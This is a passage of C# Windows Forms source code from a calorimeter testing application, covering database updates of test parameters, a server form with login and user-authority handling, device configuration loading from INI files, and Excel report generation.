ratedSet.PageNo = ctrl.Index;
ratedSet.Mode = ETestMode.Heating;
ratedSet.Capacity = float.Parse(ctrl.heatingCapacityEdit.Text);
ratedSet.Power = float.Parse(ctrl.heatingPowerInEdit.Text);
ratedSet.EER_COP = float.Parse(ctrl.heatingEepEdit.Text);
ratedSet.Volt = float.Parse(ctrl.heatingVoltEdit.Text);
ratedSet.Amp = float.Parse(ctrl.heatingCurrentEdit.Text);
ratedSet.Freq = ctrl.heatingFreqCombo.Text;
ratedSet.PM_IDU = ctrl.heatingPowerMeter1Combo.SelectedIndex;
ratedSet.PM_ODU = ctrl.heatingPowerMeter2Combo.SelectedIndex;
ratedSet.Phase = (EWT330Wiring)ctrl.heatingPhaseCombo.SelectedValue;
ratedSet.Insert(trans);
}
ThermoPressParamDataSet tcSet = db.ThermoPressParamSet;
foreach (MeasureRow row in id1TCs)
{
tcSet.RecNo = (int)db.GetGenNo("GN_CONDITION_THERMOPRESSPARAM");
tcSet.NoteNo = noteSet.RecNo;
tcSet.ChType = 0;
tcSet.ChNo = row.No;
tcSet.Name = row.Value;
tcSet.Insert(trans);
}
foreach (MeasureRow row in id2TCs)
{
tcSet.RecNo = (int)db.GetGenNo("GN_CONDITION_THERMOPRESSPARAM");
tcSet.NoteNo = noteSet.RecNo;
tcSet.ChType = 1;
tcSet.ChNo = row.No;
tcSet.Name = row.Value;
tcSet.Insert(trans);
}
foreach (MeasureRow row in odTCs)
{
tcSet.RecNo = (int)db.GetGenNo("GN_CONDITION_THERMOPRESSPARAM");
tcSet.NoteNo = noteSet.RecNo;
tcSet.ChType = 2;
tcSet.ChNo = row.No;
tcSet.Name = row.Value;
tcSet.Insert(trans);
}
foreach (MeasureRow row in presses)
{
tcSet.RecNo = (int)db.GetGenNo("GN_CONDITION_THERMOPRESSPARAM");
tcSet.NoteNo = noteSet.RecNo;
tcSet.ChType = 3;
tcSet.ChNo = row.No;
tcSet.Name = row.Value;
tcSet.Insert(trans);
}
db.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
db.RollbackTrans();
}
}
private void UpdateNote()
{
FbTransaction trans = db.BeginTrans();
try
{
NoteParamDataSet noteSet = db.NoteParamSet;
noteSet.Company = noteCompanyEdit.Text;
noteSet.TestName = noteTestNameEdit.Text;
noteSet.TestNo = noteTestNoEdit.Text;
noteSet.Observer = noteObserverEdit.Text;
noteSet.Maker = noteMakerEdit.Text;
noteSet.Model1 = noteModel1Edit.Text;
noteSet.Serial1 = noteSerial1Edit.Text;
noteSet.Model2 = noteModel2Edit.Text;
noteSet.Serial2 = noteSerial2Edit.Text;
noteSet.Model3 = noteModel3Edit.Text;
noteSet.Serial3 = noteSerial3Edit.Text;
noteSet.ExpDevice = noteExpDeviceEdit.Text;
noteSet.Refrig = noteRefrigerantCombo.Text;
noteSet.RefCharge = noteRefChargeEdit.Text;
noteSet.Memo = noteMemoEdit.Text;
noteSet.CoolUnit = (EUnitCapacity)methodCapaCoolingUnitCombo.SelectedValue;
noteSet.HeatUnit = (EUnitCapacity)methodCapaHeatingUnitCombo.SelectedValue;
noteSet.Update(trans);
RatedParamDataSet ratedSet = db.RatedParamSet;
foreach (TabPage page in ratedTab.TabPages)
{
CtrlTestRated ctrl = page.Controls[0] as CtrlTestRated;
ratedSet.RecNo = ctrl.CoolingRecNo;
ratedSet.Capacity = float.Parse(ctrl.coolingCapacityEdit.Text);
ratedSet.Power = float.Parse(ctrl.coolingPowerInEdit.Text);
ratedSet.EER_COP = float.Parse(ctrl.coolingEepEdit.Text);
ratedSet.Volt = float.Parse(ctrl.coolingVoltEdit.Text);
ratedSet.Amp = float.Parse(ctrl.coolingCurrentEdit.Text);
ratedSet.Freq = ctrl.coolingFreqCombo.Text;
ratedSet.PM_IDU = ctrl.coolingPowerMeter1Combo.SelectedIndex;
ratedSet.PM_ODU = ctrl.coolingPowerMeter2Combo.SelectedIndex;
ratedSet.Phase = (EWT330Wiring)ctrl.coolingPhaseCombo.SelectedValue;
ratedSet.Update(trans);
ratedSet.RecNo = ctrl.HeatingRecNo;
ratedSet.Capacity = float.Parse(ctrl.heatingCapacityEdit.Text);
ratedSet.Power = float.Parse(ctrl.heatingPowerInEdit.Text);
ratedSet.EER_COP = float.Parse(ctrl.heatingEepEdit.Text);
ratedSet.Volt = float.Parse(ctrl.heatingVoltEdit.Text);
ratedSet.Amp = float.Parse(ctrl.heatingCurrentEdit.Text);
ratedSet.Freq = ctrl.heatingFreqCombo.Text;
ratedSet.PM_IDU = ctrl.heatingPowerMeter1Combo.SelectedIndex;
ratedSet.PM_ODU = ctrl.heatingPowerMeter2Combo.SelectedIndex;
ratedSet.Phase = (EWT330Wiring)ctrl.heatingPhaseCombo.SelectedValue;
ratedSet.Update(trans);
}
ThermoPressParamDataSet tcSet = db.ThermoPressParamSet;
foreach (MeasureRow row in id1TCs)
{
tcSet.RecNo = row.RecNo;
tcSet.Name = row.Value;
tcSet.Update(trans);
}
foreach (MeasureRow row in id2TCs)
{
tcSet.RecNo = row.RecNo;
tcSet.Name = row.Value;
tcSet.Update(trans);
}
foreach (MeasureRow row in odTCs)
{
tcSet.RecNo = row.RecNo;
tcSet.Name = row.Value;
tcSet.Update(trans);
}
foreach (MeasureRow row in presses)
{
tcSet.RecNo = row.RecNo;
tcSet.Name = row.Value;
tcSet.Update(trans);
}
db.CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
db.RollbackTrans();
}
}
private void ResetEdit()
{
noteCompanyEdit.Text = "";
noteTestNameEdit.Text = "";
noteTestNoEdit.Text = "";
noteObserverEdit.Text = "";
noteMakerEdit.Text = "";
noteModel1Edit.Text = "";
noteSerial1Edit.Text = "";
noteModel2Edit.Text = "";
noteSerial2Edit.Text = "";
noteModel3Edit.Text = "";
noteSerial3Edit.Text = "";
noteExpDeviceEdit.Text = "";
noteRefrigerantCombo.SelectedIndex = 0;
noteRefChargeEdit.Text = "";
noteMemoEdit.Text = "";
methodCapaCoolingUnitCombo.SelectedValue = EUnitCapacity.kcal;
methodCapaHeatingUnitCombo.SelectedValue = EUnitCapacity.Btu;
foreach (TabPage page in ratedTab.TabPages)
{
CtrlTestRated ctrl = page.Controls[0] as CtrlTestRated;
ctrl.coolingCapacityEdit.EditValue = 0;
ctrl.coolingPowerInEdit.EditValue = 0;
ctrl.coolingEepEdit.EditValue = 0;
ctrl.coolingVoltEdit.EditValue = 0;
ctrl.coolingCurrentEdit.EditValue = 0;
ctrl.coolingFreqCombo.Text = "";
ctrl.coolingPowerMeter1Combo.SelectedIndex = 0;
ctrl.coolingPowerMeter2Combo.SelectedIndex = 0;
ctrl.coolingPhaseCombo.SelectedValue = EWT330Wiring.P3W4;
ctrl.heatingCapacityEdit.EditValue = 0;
ctrl.heatingPowerInEdit.EditValue = 0;
ctrl.heatingEepEdit.EditValue = 0;
ctrl.heatingVoltEdit.EditValue = 0;
ctrl.heatingCurrentEdit.EditValue = 0;
ctrl.heatingFreqCombo.Text = "";
ctrl.heatingPowerMeter1Combo.SelectedIndex = 0;
ctrl.heatingPowerMeter2Combo.SelectedIndex = 0;
ctrl.heatingPhaseCombo.SelectedValue = EWT330Wiring.P3W4;
}
foreach (MeasureRow row in id1TCs)
{
row.Value = "";
}
foreach (MeasureRow row in id2TCs)
{
row.Value = "";
}
foreach (MeasureRow row in odTCs)
{
row.Value = "";
}
foreach (MeasureRow row in presses)
{
row.Value = "";
}
foreach (GridView gridView in gridViews)
{
gridView.RefreshData();
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlPlcView : UlUserControlEng
{
public CtrlPlcView()
{
InitializeComponent();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Server
{
public partial class FormServerMain : UlFormEng
{
public FormServerMain()
{
InitializeComponent();
Initialize();
}
private const int csInvalidTime = 500;
private InvalidThread invalidThread;
private bool isExit;
private bool isFirst;
private void FormServerMain_Load(object sender, EventArgs e)
{
Resource.TLog.Log((int)ELogItem.Note, "Start Calorimeter Server Program.");
DispCaption();
DefMenu.Index = 0;
Resource.TLog.Log((int)ELogItem.Note, "Connect TCP socket of devices.");
Resource.Server.Connect();
Resource.TLog.Log((int)ELogItem.Note, "Resume all threads of devices, listener and sender.");
Resource.Server.Resume();
Resource.TLog.Log((int)ELogItem.Note, "Resume invalidation thread of screen.");
invalidThread = new InvalidThread(csInvalidTime);
invalidThread.InvalidControls += InvalidForm;
invalidThread.Resume();
isExit = false;
isFirst = false;
logoffTimer.Interval = Resource.Ini.GetInteger("System", "LogoffTime") * 1000;
logoffTimer.Enabled = true;
Resource.UserNo = -1;
Resource.Authority = EUserAuthority.Viewer;
SetAuthority();
}
private void FormServerMain_Shown(object sender, EventArgs e)
{
//if (isFirst == true)
//{
// if (IsLogin() == false)
// {
// Resource.UserNo = -1;
// Resource.Authority = EUserAuthority.Viewer;
// SetAuthority();
// return;
// }
// isFirst = false;
//}
}
private void FormServerMain_FormClosing(object sender, FormClosingEventArgs e)
{
if (isFirst == true) return;
if (isExit == true)
{
if (MessageBox.Show("Would you like to exit this program?",
Resource.Caption, MessageBoxButtons.YesNo, MessageBoxIcon.Question)
== DialogResult.No)
{
isExit = false;
e.Cancel = true;
}
}
else
{
Resource.TLog.Log((int)ELogItem.Note, "Drop down this program to system tray.");
notifyIcon.Visible = true;
ShowInTaskbar = true;
Hide();
e.Cancel = true;
}
}
private void FormServerMain_FormClosed(object sender, FormClosedEventArgs e)
{
invalidThread.Terminate();
Resource.Server.NotifyTermination();
Resource.Server.Terminate();
Resource.Server.Close();
Resource.TLog.Log((int)ELogItem.Note, "Exit Calorimeter Server Program.");
}
private void loginButton_Click(object sender, EventArgs e)
{
if (IsLogin() == false)
{
logoffButton.PerformClick();
}
}
private void logoffButton_Click(object sender, EventArgs e)
{
Resource.UserNo = -1;
Resource.Authority = EUserAuthority.Viewer;
SetAuthority();
}
private void exitButton_Click(object sender, EventArgs e)
{
if (Resource.Authority > EUserAuthority.Admin) return;
isExit = true;
Close();
}
private void Initialize()
{
DefMenu = new UlMenu(viewPanel);
DefMenu.Add(new CtrlViewTop(), viewButton);
DefMenu.Add(new CtrlLogTop(), logButton);
DefMenu.Add(new CtrlCalibTop(), calibButton);
DefMenu.Add(new CtrlConfigTop(), configButton);
}
private void DispCaption()
{
Text = "H&C System Calorimeter Server Program Ver " +
Assembly.GetExecutingAssembly().GetName().Version.ToString();
}
private void InvalidUserControls(UlMenu menu)
{
if (menu == null) return;
UlUserControlEng userControl = menu.Controls(menu.Index) as UlUserControlEng;
userControl.InvalidControl(this, null);
InvalidUserControls(userControl.DefMenu);
}
private void InvalidDateTime()
{
string dateTime = DateTime.Now.ToString(Resource.csDateTimeFormat);
if (dateTimeLabel.Text != dateTime)
{
dateTimeLabel.Text = dateTime;
}
}
private void InvalidDeviceLed()
{
bool activeLed, activeDevice;
activeLed = (powerMeterLedLabel.BackColor == SystemColors.Control) ? false : true;
activeDevice = Resource.Server.Devices.PowerMeterConnected;
if (activeLed != activeDevice)
{
powerMeterLedLabel.BackColor = (activeDevice == true) ? Color.Khaki : SystemColors.Control;
}
activeLed = (recorderLedLabel.BackColor == SystemColors.Control) ? false : true;
activeDevice = Resource.Server.Devices.RecorderConnected;
if (activeLed != activeDevice)
{
recorderLedLabel.BackColor = (activeDevice== true) ? Color.Khaki : SystemColors.Control;
}
activeLed = (controllerLedLabel.BackColor == SystemColors.Control) ? false : true;
activeDevice = Resource.Server.Devices.ControllerConnected;
if (activeLed != activeDevice)
{
controllerLedLabel.BackColor = (activeDevice == true) ? Color.Khaki : SystemColors.Control;
}
activeLed = (plcLedLabel.BackColor == SystemColors.Control) ? false : true;
activeDevice = Resource.Server.Devices.PlcConnected;
if (activeLed != activeDevice)
{
plcLedLabel.BackColor = (activeDevice == true) ? Color.Khaki : SystemColors.Control;
}
}
public override void InvalidForm(object sender, EventArgs e)
{
if (this.InvokeRequired == true)
{
EventHandler func = new EventHandler(InvalidForm);
this.BeginInvoke(func, new object[] { sender, e });
}
else
{
InvalidDateTime();
InvalidDeviceLed();
InvalidUserControls(DefMenu);
}
}
private bool IsLogin()
{
for (int i = 0; i < 3; i++)
{
FormUserLogin loginForm = new FormUserLogin();
loginForm.ShowDialog();
if (loginForm.DialogResult == DialogResult.OK)
{
Resource.Db.UserSet.Select(loginForm.userCombo.Text.Trim());
Resource.Db.UserSet.Fetch();
string passwd = Resource.Db.UserSet.Passwd;
//string passwd = Encoding.ASCII.GetString(Convert.FromBase64String(Resource.Db.UserSet.Passwd));
if (loginForm.passwdEdit.Text == passwd)
{
Resource.UserNo = Resource.Db.UserSet.RecNo;
Resource.Authority = (EUserAuthority)Resource.Db.UserSet.Authority;
SetAuthority();
return true;
}
else
{
MessageBox.Show("Invalid password!\r\nPlease keyin password again!",
Resource.Caption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
}
}
else break;
}
return false;
}
private void SetAuthority()
{
UserLabel.Text = Resource.Db.UserSet.GetName(Resource.UserNo);
if (Resource.Authority < EUserAuthority.Operator)
{
loginButton.Left = 746;
logoffButton.Left = 828;
logoffButton.Visible = true;
exitButton.Visible = true;
calibButton.Visible = true;
configButton.Visible = true;
exitToolStripMenuItem.Visible = true;
}
else
{
loginButton.Left = 910;
logoffButton.Visible = false;
exitButton.Visible = false;
calibButton.Visible = false;
configButton.Visible = false;
exitToolStripMenuItem.Visible = false;
if (DefMenu.Index > 1) DefMenu.Index = 0;
}
}
private void showUpMenuItem_Click(object sender, EventArgs e)
{
Resource.TLog.Log((int)ELogItem.Note, "Show up this program on screen.");
notifyIcon.Visible = false;
ShowInTaskbar = false;
Show();
}
private void exitToolStripMenuItem_Click(object sender, EventArgs e)
{
isExit = true;
Close();
}
private void logoffTimer_Tick(object sender, EventArgs e)
{
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Ulee.Controls;
using Ulee.Device.Connection.Yokogawa;
namespace Hnc.Calorimeter.Client
{
public class ClientDevice
{
public ClientDevice(CalorimeterClient client)
{
this.client = client;
PowerMeter = new DeviceFrame<PowerMeterRow<float>, float>();
Recorder = new RecorderFrame<RecorderRow<float>, float>();
Controller = new DeviceFrame<ControllerRow<float>, float>();
Plc = new DeviceFrame<PlcRow<UInt16>, UInt16>();
Initialize();
}
private CalorimeterClient client;
public DeviceFrame<PowerMeterRow<float>, float> PowerMeter { get; private set; }
public RecorderFrame<RecorderRow<float>, float> Recorder { get; private set; }
public DeviceFrame<ControllerRow<float>, float> Controller { get; private set; }
public DeviceFrame<PlcRow<UInt16>, UInt16> Plc { get; private set; }
private void Initialize()
{
// Load powermeter parameters
int i = 1;
int index = 0;
string section;
string key = $"PM{i}";
string param = client.Ini.GetString("PowerMeter", key);
PowerMeter.Rows.Clear();
while (string.IsNullOrWhiteSpace(param) == false)
{
string[] @params = param.Split(new[] { ',' }, StringSplitOptions.None);
EWT330Phase phase = (@params[1] == "P1") ? EWT330Phase.P1 : EWT330Phase.P3;
PowerMeterRow<float> row = new PowerMeterRow<float>(@params[0], phase);
PowerMeter.Rows.Add(row);
int j = 1;
section = $"{key}.Channel";
key = $"CH{j}";
param = client.Ini.GetString(section, key);
while (string.IsNullOrWhiteSpace(param) == false)
{
//@params = param.Split(new[] { ',' }, StringSplitOptions.None);
//index = int.Parse(@params[1]);
DeviceValueRow<float> valueRow =
new DeviceValueRow<float>(param, index++, 0);
row.Values.Add(valueRow);
PowerMeter.Values.Add(valueRow);
j++;
key = $"CH{j}";
param = client.Ini.GetString(section, key);
}
i++;
key = $"PM{i}";
param = client.Ini.GetString("PowerMeter", key);
}
// Load recorder parameters
i = 1;
key = $"Rec{i}";
param = client.Ini.GetString("Recorder", key);
Recorder.Rows.Clear();
while (string.IsNullOrWhiteSpace(param) == false)
{
RecorderRow<float> row = new RecorderRow<float>(param);
Recorder.Rows.Add(row);
int j = 1;
section = $"{key}.Channel";
key = $"CH{j}";
param = client.Ini.GetString(section, key);
while (string.IsNullOrWhiteSpace(param) == false)
{
DeviceValueRow<float> valueRow =
new DeviceValueRow<float>(param, index++, 0);
row.Values.Add(valueRow);
Recorder.Values.Add(valueRow);
j++;
key = $"CH{j}";
param = client.Ini.GetString(section, key);
}
i++;
key = $"Rec{i}";
param = client.Ini.GetString("Recorder", key);
}
int count = Recorder.Values.Count / 4;
for (int k = 0; k < count; k++)
{
Recorder.ValueList[0].Add(Recorder.Values[k]);
Recorder.ValueList[1].Add(Recorder.Values[k + count]);
Recorder.ValueList[2].Add(Recorder.Values[k + count * 2]);
if ((k + count * 3) < Recorder.Values.Count)
{
Recorder.ValueList[3].Add(Recorder.Values[k + count * 3]);
}
}
string[] recParams = client.Ini.GetString("Recorder", "Pressure").Split(new[] { ',' }, StringSplitOptions.None);
Recorder.PressureIndex = int.Parse(recParams[0]);
Recorder.PressureLength = int.Parse(recParams[1]);
recParams = client.Ini.GetString("Recorder", "Thermocouple").Split(new[] { ',' }, StringSplitOptions.None);
Recorder.ThermocoupleIndex = int.Parse(recParams[0]);
Recorder.ThermocoupleLength = int.Parse(recParams[1]);
// Load controller parameters
i = 1;
key = $"Ctrl{i}";
param = client.Ini.GetString("Controller", key);
Controller.Rows.Clear();
while (string.IsNullOrWhiteSpace(param) == false)
{
string[] @params = param.Split(new[] { ',' }, StringSplitOptions.None);
int networkNo = int.Parse(@params[1]);
int addr = int.Parse(@params[2]);
ControllerRow<float> row = new ControllerRow<float>(@params[0], networkNo, addr);
Controller.Rows.Add(row);
int j = 1;
section = $"{key}.Channel";
key = $"CH{j}";
param = client.Ini.GetString(section, key);
while (string.IsNullOrWhiteSpace(param) == false)
{
//@params = param.Split(new[] { ',' }, StringSplitOptions.None);
//index = int.Parse(@params[1]);
DeviceValueRow<float> valueRow =
new DeviceValueRow<float>(param, index++, 0);
row.Values.Add(valueRow);
Controller.Values.Add(valueRow);
j++;
key = $"CH{j}";
param = client.Ini.GetString(section, key);
}
i++;
key = $"Ctrl{i}";
param = client.Ini.GetString("Controller", key);
}
// Load PLC parameters
i = 1;
index = 0;
key = $"Plc{i}";
param = client.Ini.GetString("Plc", key);
Plc.Rows.Clear();
while (string.IsNullOrWhiteSpace(param) == false)
{
PlcRow<UInt16> row = new PlcRow<UInt16>(param);
Plc.Rows.Add(row);
int j = 1;
section = $"{key}.Channel";
key = $"CH{j}";
param = client.Ini.GetString(section, key);
while (string.IsNullOrWhiteSpace(param) == false)
{
DeviceValueRow<UInt16> valueRow =
new DeviceValueRow<UInt16>(param, index++, 0);
row.Values.Add(valueRow);
Plc.Values.Add(valueRow);
j++;
key = $"CH{j}";
param = client.Ini.GetString(section, key);
}
i++;
key = $"Plc{i}";
param = client.Ini.GetString("Plc", key);
}
}
public void RefreshValues()
{
int i = 0;
foreach (PowerMeterRow<float> rows in PowerMeter.Rows)
{
foreach (DeviceValueRow<float> valueRows in rows.Values)
{
valueRows.Value = client.Listener.FValues[valueRows.Index];
PowerMeter.Values[i++].Value = valueRows.Value;
}
}
i = 0;
foreach (RecorderRow<float> rows in Recorder.Rows)
{
foreach (DeviceValueRow<float> valueRows in rows.Values)
{
valueRows.Value = client.Listener.FValues[valueRows.Index];
Recorder.Values[i++].Value = valueRows.Value;
}
}
i = 0;
foreach (ControllerRow<float> rows in Controller.Rows)
{
foreach (DeviceValueRow<float> valueRows in rows.Values)
{
valueRows.Value = client.Listener.FValues[valueRows.Index];
Controller.Values[i++].Value = valueRows.Value;
}
}
int count = Recorder.Values.Count / 4;
for (int k = 0; k < count; k++)
{
Recorder.ValueList[0][k].Value = Recorder.Values[k].Value;
Recorder.ValueList[1][k].Value = Recorder.Values[k + count].Value;
Recorder.ValueList[2][k].Value = Recorder.Values[k + count * 2].Value;
if ((k + count * 3) < Recorder.Values.Count)
{
Recorder.ValueList[3][k].Value = Recorder.Values[k + count * 3].Value;
}
}
i = 0;
foreach (PlcRow<UInt16> rows in Plc.Rows)
{
foreach (DeviceValueRow<UInt16> valueRows in rows.Values)
{
valueRows.Value = client.Listener.NValues[valueRows.Index];
Plc.Values[i++].Value = valueRows.Value;
}
}
}
}
public class DeviceFrame<T1, T2>
{
public DeviceFrame()
{
Rows = new List<T1>();
Values = new List<DeviceValueRow<T2>>();
}
public List<T1> Rows { get; private set; }
public List<DeviceValueRow<T2>> Values { get; private set; }
}
public abstract class DeviceFrameRow<T>
{
public DeviceFrameRow(string name)
{
Name = name;
Values = new List<DeviceValueRow<T>>();
}
public string Name { get; private set; }
public List<DeviceValueRow<T>> Values { get; private set; }
public int Length { get { return Values.Count; } }
}
public class PowerMeterRow<T> : DeviceFrameRow<T>
{
public PowerMeterRow(string name, EWT330Phase phase) : base(name)
{
Phase = phase;
}
public EWT330Phase Phase { get; private set; }
}
public class RecorderFrame<T1, T2> : DeviceFrame<T1, T2>
{
public RecorderFrame()
{
ValueList = new List<List<DeviceValueRow<T2>>>();
ValueList.Add(new List<DeviceValueRow<T2>>());
ValueList.Add(new List<DeviceValueRow<T2>>());
ValueList.Add(new List<DeviceValueRow<T2>>());
ValueList.Add(new List<DeviceValueRow<T2>>());
}
public List<List<DeviceValueRow<T2>>> ValueList;
public int ThermocoupleIndex { get; set; }
public int ThermocoupleLength { get; set; }
public int PressureIndex { get; set; }
public int PressureLength { get; set; }
}
public class RecorderRow<T> : DeviceFrameRow<T>
{
public RecorderRow(string name) : base(name)
{
}
}
public class ControllerRow<T> : DeviceFrameRow<T>
{
public ControllerRow(string name, int networkNo, int addr) : base(name)
{
NetworkNo = networkNo;
Address = addr;
}
public int NetworkNo { get; private set; }
public int Address { get; private set; }
}
public class PlcRow<T> : DeviceFrameRow<T>
{
public PlcRow(string name) : base(name)
{
}
}
public class DeviceValueRow<T>
{
public DeviceValueRow(string name, int index, T value)
{
Name = name;
Index = index;
Value = value;
}
public string Name { get; private set; }
public int Index { get; private set; }
public T Value { get; set; }
public string Format { get; set; }
public UnitConvert Convert { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
using Ulee.Device.Connection;
namespace Hnc.Calorimeter.Server
{
public partial class FormDeviceEdit : UlFormEng
{
public FormDeviceEdit()
{
InitializeComponent();
linkCombo.Items.Clear();
linkCombo.Items.Add(EEthernetLink.Disconnect.ToString());
linkCombo.Items.Add(EEthernetLink.Connect.ToString());
modeCombo.Items.Clear();
modeCombo.Items.Add(EEthernetMode.Real.ToString());
modeCombo.Items.Add(EEthernetMode.Virtual.ToString());
}
private void FormDeviceEdit_Load(object sender, EventArgs e)
{
ActiveControl = linkCombo;
}
private void linkCombo_SelectedIndexChanged(object sender, EventArgs e)
{
if ((EEthernetLink)linkCombo.SelectedIndex == EEthernetLink.Disconnect)
{
modeCombo.SelectedIndex = (int)EEthernetMode.Virtual;
}
}
private void modeCombo_SelectedIndexChanged(object sender, EventArgs e)
{
if ((EEthernetMode)modeCombo.SelectedIndex == EEthernetMode.Real)
{
linkCombo.SelectedIndex = (int)EEthernetLink.Connect;
}
}
private void okButton_Click(object sender, EventArgs e)
{
Close();
}
private void cancelButton_Click(object sender, EventArgs e)
{
Close();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlDevicePowerMeter : UlUserControlEng
{
public List<UlPanel> Views { get; private set; }
public CtrlDevicePowerMeter()
{
InitializeComponent();
Initialize();
}
private void Initialize()
{
Views = new List<UlPanel>();
Views.Add(view1Panel);
Views.Add(view2Panel);
Views.Add(view3Panel);
Views.Add(view4Panel);
Views.Add(view5Panel);
Views.Add(view6Panel);
Views.Add(view7Panel);
Views.Add(view8Panel);
for (int i=0; i<Resource.Client.Devices.PowerMeter.Rows.Count; i++)
{
Views[i].Controls.Add(new CtrlPowerMeterView(
Resource.Client.Devices.PowerMeter.Rows[i].Name));
}
}
public override void InvalidControl(object sender, EventArgs e)
{
if (this.InvokeRequired == true)
{
EventHandler func = new EventHandler(InvalidControl);
this.BeginInvoke(func, new object[] { sender, e });
}
else
{
for (int i = 0; i < Resource.Client.Devices.PowerMeter.Rows.Count; i++)
{
(Views[i].Controls[0] as CtrlPowerMeterView).RefreshMeter(
Resource.Client.Devices.PowerMeter.Rows[i].Phase,
Resource.Client.Devices.PowerMeter.Rows[i].Values);
}
}
}
}
}
<file_sep>using System;
using System.Net;
namespace Hnc.Calorimeter.Server
{
public class ClientRow : IEquatable<string>
{
public ClientRow(IPEndPoint ipPoint, long time, EClientState state = EClientState.Idle)
{
Index = 0;
IpPoint = ipPoint;
ScanTime = time;
State = state;
ConnectedTime = DateTime.Now;
BeginTime = 0;
}
public int Index { get; set; }
public IPEndPoint IpPoint { get; private set; }
public string Ip { get { return IpPoint.Address.ToString(); } }
public int Port { get { return IpPoint.Port; } }
public string IpPort { get { return IpPoint.ToString(); } }
public EClientState State { get; set; }
public long ScanTime { get; set; }
public long BeginTime { get; set; }
public DateTime ConnectedTime { get; private set; }
public bool Equals(string ipPort)
{
return (IpPort == ipPort) ? true : false;
}
public override bool Equals(object obj)
{
if (obj == null) return false;
ClientRow client = obj as ClientRow;
if (client == null) return false;
return Equals(client.IpPort);
}
public override int GetHashCode()
{
return Ip.GetHashCode();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading;
using DevExpress.Spreadsheet;
using Ulee.Controls;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlViewReport : UlUserControlEng
{
public CtrlViewReport(int handle)
{
InitializeComponent();
this.handle = handle;
Initialize();
}
private int handle;
private string fName;
private CalorimeterViewDatabase db;
private List<string> calorieTags;
private List<string> thermoTags;
private WorksheetTagCollection sheetTags;
private void Initialize()
{
reportSheet.LoadDocument(Resource.csExcelOriginReport);
db = Resource.ViewDB;
calorieTags = null;
thermoTags = null;
sheetTags = null;
}
private void CtrlViewReport_Load(object sender, EventArgs e)
{
sheetTags = new WorksheetTagCollection(reportSheet.Document);
sheetTags.SetWorkSheetVisible("Raw Data", false);
sheetTags.Clear();
calorieTags = new List<string>();
calorieTags.Add("324");
calorieTags.Add("325");
calorieTags.Add("326");
calorieTags.Add("327");
calorieTags.Add("328");
calorieTags.Add("329");
calorieTags.Add("330");
calorieTags.Add("331");
calorieTags.Add("332");
calorieTags.Add("333");
calorieTags.Add("334");
calorieTags.Add("335");
calorieTags.Add("336");
calorieTags.Add("337");
calorieTags.Add("338");
calorieTags.Add("339");
calorieTags.Add("341");
calorieTags.Add("394");
calorieTags.Add("342");
calorieTags.Add("343");
calorieTags.Add("344");
calorieTags.Add("345");
calorieTags.Add("346");
calorieTags.Add("347");
calorieTags.Add("348");
calorieTags.Add("349");
calorieTags.Add("350");
calorieTags.Add("351");
calorieTags.Add("352");
calorieTags.Add("353");
calorieTags.Add("354");
calorieTags.Add("355");
calorieTags.Add("356");
calorieTags.Add("357");
calorieTags.Add("358");
calorieTags.Add("359");
calorieTags.Add("360");
calorieTags.Add("361");
calorieTags.Add("362");
calorieTags.Add("363");
calorieTags.Add("365");
calorieTags.Add("366");
calorieTags.Add("367");
calorieTags.Add("368");
calorieTags.Add("369");
thermoTags = new List<string>();
for (int i = 0; i < 60; i++) thermoTags.Add($"{525 + i}");
}
public void Open(Int64 recNo)
{
sheetTags.Clear();
db.Lock();
try
{
Dictionary<string, Cell> sheet;
DataBookDataSet bookSet = db.DataBookSet;
DataSheetDataSet sheetSet = db.DataSheetSet;
DataValueUnitDataSet valueUnitSet = db.DataValueUnitSet;
DataValueDataSet valueSet = db.DataValueSet;
bookSet.Select(recNo);
if (bookSet.IsEmpty() == false)
{
bookSet.Fetch();
if (string.IsNullOrWhiteSpace(bookSet.TestName) == true)
fName = $"None_Line{bookSet.TestLine + 1}";
else
fName = $"{bookSet.TestName}_Line{bookSet.TestLine + 1}";
sheetSet.Select(bookSet.RecNo);
for (int i=0; i<sheetSet.GetRowCount(); i++)
{
sheetSet.Fetch(i);
bool isNozzle = false;
if ((sheetSet.IDState.EndsWith("Cooling") == true) ||
(sheetSet.IDState.EndsWith("Heating") == true)) isNozzle = true;
sheet = sheetTags.Sheets[sheetSet.SheetName];
reportSheet.BeginUpdate();
try
{
SetSheetTitle(sheet, bookSet, sheetSet);
if (sheetSet.Use == true)
{
valueUnitSet.Select(sheetSet.RecNo);
if (i < 4)
{
SetSheetValues(sheet, calorieTags,
bookSet.IntegCount, bookSet.IntegTime, valueUnitSet, valueSet, false, isNozzle);
}
else
{
SetSheetValues(sheet, thermoTags,
bookSet.IntegCount, bookSet.IntegTime, valueUnitSet, valueSet, true, false);
}
}
}
finally
{
reportSheet.EndUpdate();
}
Thread.Sleep(1);
}
}
}
finally
{
db.Unlock();
}
}
public void SaveExcel()
{
string excelName = Resource.Settings.Options.ExcelPath + "\\" + fName + "_"
+ DateTime.Now.ToString("yyyyMMddHHmmss") + ".xlsx";
try
{
reportSheet.SaveDocument(excelName);
}
catch (Exception e)
{
